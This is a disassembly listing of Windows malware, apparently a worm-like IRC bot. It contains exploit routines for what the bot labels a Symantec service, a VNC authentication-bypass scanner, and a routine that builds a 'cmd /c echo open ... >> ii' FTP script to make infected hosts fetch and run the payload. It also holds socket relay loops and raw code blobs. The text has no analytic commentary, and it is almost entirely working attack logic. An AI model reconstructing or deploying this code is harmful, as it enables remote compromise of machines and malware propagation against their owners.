		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 26A068Bh
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		call	near ptr 2740000h
		nop
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		call	near ptr 2730000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 171FE8B4h, 50900235h, 0E6FC35FFh,	0E890004Ch
		dd 2351711h, 0CDE89050h, 8D02350Fh, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 37E85700h, 9002271Bh, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 168BE890h, 45890229h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 72E89050h, 6A022916h, 0F04589FFh
		dd 90D875FFh, 2A1CA7E8h, 75FF5702h, 40E890F0h, 57022B15h
		dd 0E8EC75FFh, 22B1537h, 0F075FF90h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 3418B8E8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h
		dd 8B900230h, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 6802300Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A0230h, 0FC15FF57h
